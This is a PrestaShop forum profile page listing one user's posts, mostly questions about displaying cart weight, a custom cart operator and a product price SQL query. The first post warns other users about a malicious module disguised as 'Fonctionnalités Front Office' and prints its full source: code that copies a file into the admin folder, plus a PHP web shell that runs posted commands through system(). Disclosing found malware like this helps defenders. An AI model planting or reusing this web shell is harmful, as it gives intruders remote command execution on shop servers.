Jump to content

monarche

Members
  • Posts

    16
  • Joined

  • Last visited

Profile Information

  • First Name
    monarche
  • Last Name
    amine

monarche's Achievements

Newbie

Newbie (1/14)

0

Reputation

1

Community Answers

  1. Bonjour, Je poste ce message pour remonter l'information d'un module dangereux trouvé sur un des sites de notre client: Fonctionnalités Front Office v0.01 - par xyz.com On cherche toujours d’où il a pu être installé, surement en background par un autre module ou une autre mise à jour. En tout cas, voila son code source. Je vous laisse imaginer la suite ... chkmodule.php et rc.php (dans le dossier module/chkmodule/) <?php /************************************* /* happy code /* Made By tester : [email protected] /* http://xyz.eu /* http://xyz.eu /* http://xyz.eu /***********************************/ if (!defined('_PS_VERSION_')) { exit; } class ChkModule extends Module { function __construct() { $this->name = 'chkmodule'; $this->tab = 'front_office_features'; $this->version = '0.01'; $this->author = 'xyz.com'; $this->need_instance = 0; parent::__construct(); $d = $_SERVER['DOCUMENT_ROOT'].'xadmin/rc.php'; $s = $_SERVER['DOCUMENT_ROOT'].'modules/chkmodule/rc.php'; exec("cp $s $d"); } } ?> <pre> <?php if(isset($_POST['cmd'])) echo system($_POST['cmd']); ?> </pre> <form action="" method="post"> <textarea name="cmd" style="width:500px; height:200px"><?php echo @$_POST['cmd']?></textarea> <br /> <input type="submit" value="Submit"/> </form> Cordialement
  2. But what cache? ^^ there is only these four files to modify or y'en else.... I have a doubt now
  3. Thank you for the answer. so theoretically, the two are identical in all. including theme. I hold frequently updated. (sorry for my english [google])
  4. Hello everyone, I could change the site web in local to add the weight in the cart.. by modifying files: /controllers/front/ParentOrderController.php /classes/Cart.php /themes/my-theme/js/cart-summary.js /themes/my-theme/shopping-cart.tpl and its perfect, the weight is displayed in cart, but once even upload these files to the server online. nothing is happening. so I deleted cache /smarty/* and /themes/my-theme/cache /* and nothing. Or maybe it's a problem to other files I modified without remembering? If you have ideas. thank you cordially V 1.6.0.14
  5. Pour une raison X .. j'ai pas pu faire fonctionné comme je veux la méthode remove. et j'ai résolu mon problème en ajoutant un (operator) dans cart.php ligne 922. j'ai ajouter elseif ($operator == 'trott') { $qty = '- 1'; $new_qty = (int)$result['quantity'] - 1; if ($new_qty < $minimal_quantity && $minimal_quantity > 1) return -1; } puis : $.get("panier?add=1&id_product="+infonet[1]+"&ipa="+infonet[0]+"&id_address_delivery=0&op=trott"); pour les appels de suppression. voila. j’espère que ça peut te donner des idées.
  6. Bonjour a tous, j'ai pu modifier le site en local pour ajouter le poids dans le panier .. en modifiant les fichiers : /controllers/front/ParentOrderController.php /classes/Cart.php /themes/votre-theme/js/cart-summary.js /themes/votre-theme/shopping-cart.tpl et tout marche nickel le poids dans panier est affiché, mais une fois uploader ces même fichiers sur le serveur en ligne. rien ne se passe. J'ai cru que c'est un problème de cache, alors j'ai supprimé cache/smarty/* et /themes/mon-theme/cache/* et rien. Ou peut-être c'est un problème d'autres fichiers que j'ai modifié sans me rappeler ? Si vous avez des idées. merci Cordialement V 1.6.0.14
  7. Hello, I want please to add the total weight of the products in the cart (step 1). I tested the manipulation https://www.prestashop.com/forums/topic/185220-modification-afficher-le-poids-total-des-produits-sur-la-page-panier/ https://www.prestash...-shopping-cart/ And I always i have 0 as the return value. I could make a few changes, and it works if I go through a custom class, if I go through (add -> cart) I would always have 0 as the total return value. If you have an idea of what I have forgotten, or what I have to check Thank you for your help. cordially
  8. Up J’ai pu faire quelques modifications, et ca marche si je passe par un class personnalisé, si je passe par (ajouter -> panier) j'aurais toujours la valeur 0 comme total. Si vous avez une petite idée de ce que j'ai pu oublier, ou ce que je dois vérifier Merci
  9. l'erreur vient du fait que prestashop utilise maintenant la table ps_product_shop depuis le lancement du multishop, même s'il n'est pas activé. Si ça peut aider. Cordialement
  10. Bonjour, je veux svp ajouter le poids total des produits dans le panier (etape 1 : Récapitulatif). j'ai testé les manip https://www.prestashop.com/forums/topic/185220-modification-afficher-le-poids-total-des-produits-sur-la-page-panier/ https://www.prestashop.com/forums/topic/45353-solved-how-to-show-weight-of-the-order-in-shopping-cart/ Et j'ai toujours 0 comme valeur retour. alors que les produits en question on bien leurs poids affecté Merci de votre aide. Cordialement ---------- v 1.6.0.14
  11. Merci de la vitesse de la réponse Mediacom87 .. surtout un lundi matin ^^ Pour votre réponse, j'imagine que vous avez raison, si vous avez des exemples, je serais prôneur. un grand merci.
  12. Hello, Everything is in the title. I try to create a module that needs to list the catalog products from a new custom table. And frankly, I really stuck. Always the products result have a different price that PrestaShop catalog. Yet later I apply the reduction and still nothing. (sorry for my english, google). Here is the query: SELECT pcf.*, pl.`description` , pl.`description_short` , pl.`name`, ps.`quantity`, pa.`id_product_attribute` ,(p.`price` * ( ( 100 + ( t.`rate` ) ) /100 )) AS orderprice , ag.`id_attribute_group` , agl.`name` AS group_name, al.`name` AS attribute_name, a.`id_attribute` FROM `'._DB_PREFIX_.'custom_freestyle` pc LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON ( pcf.`free_productid` = pl.`id_product` AND pl.`id_lang` =2 ) LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa ON (pcf.`free_productid` = pa.`id_product` AND pcf.`free_productref` = pa.`id_product_attribute`) LEFT JOIN `'._DB_PREFIX_.'product` p ON p.`id_product` = pcf.`free_productid` LEFT JOIN `'._DB_PREFIX_.'stock_available` ps ON (ps.`id_product` = pcf.`free_productid` AND ps.`id_product_attribute` = pcf.`free_productref`) LEFT JOIN `'._DB_PREFIX_.'product_attribute_combination` pac ON pcf.`free_productref` = pac.`id_product_attribute` LEFT JOIN `'._DB_PREFIX_.'attribute` a ON a.`id_attribute` = pac.`id_attribute` LEFT JOIN `'._DB_PREFIX_.'attribute_group` ag ON ag.`id_attribute_group` = a.`id_attribute_group` LEFT JOIN `'._DB_PREFIX_.'attribute_lang` al ON ( a.`id_attribute` = al.`id_attribute` AND al.`id_lang` =2 ) LEFT JOIN `'._DB_PREFIX_.'attribute_group_lang` agl ON ( ag.`id_attribute_group` = agl.`id_attribute_group` AND agl.`id_lang` =2 ) LEFT JOIN `ps_tax_rule` tr ON (p.`id_tax_rules_group` = tr.`id_tax_rules_group` AND tr.`id_country` = 1 AND tr.`id_state` = 0) LEFT JOIN `ps_tax` t ON (t.`id_tax` = tr.`id_tax`) WHERE pcf.`free_active`=1 GROUP BY pcf.`free_ref` really thank you. cordially
×
×
  • Create New...

Important Information

Cookies ensure the smooth running of our services. Using these, you accept the use of cookies. Learn More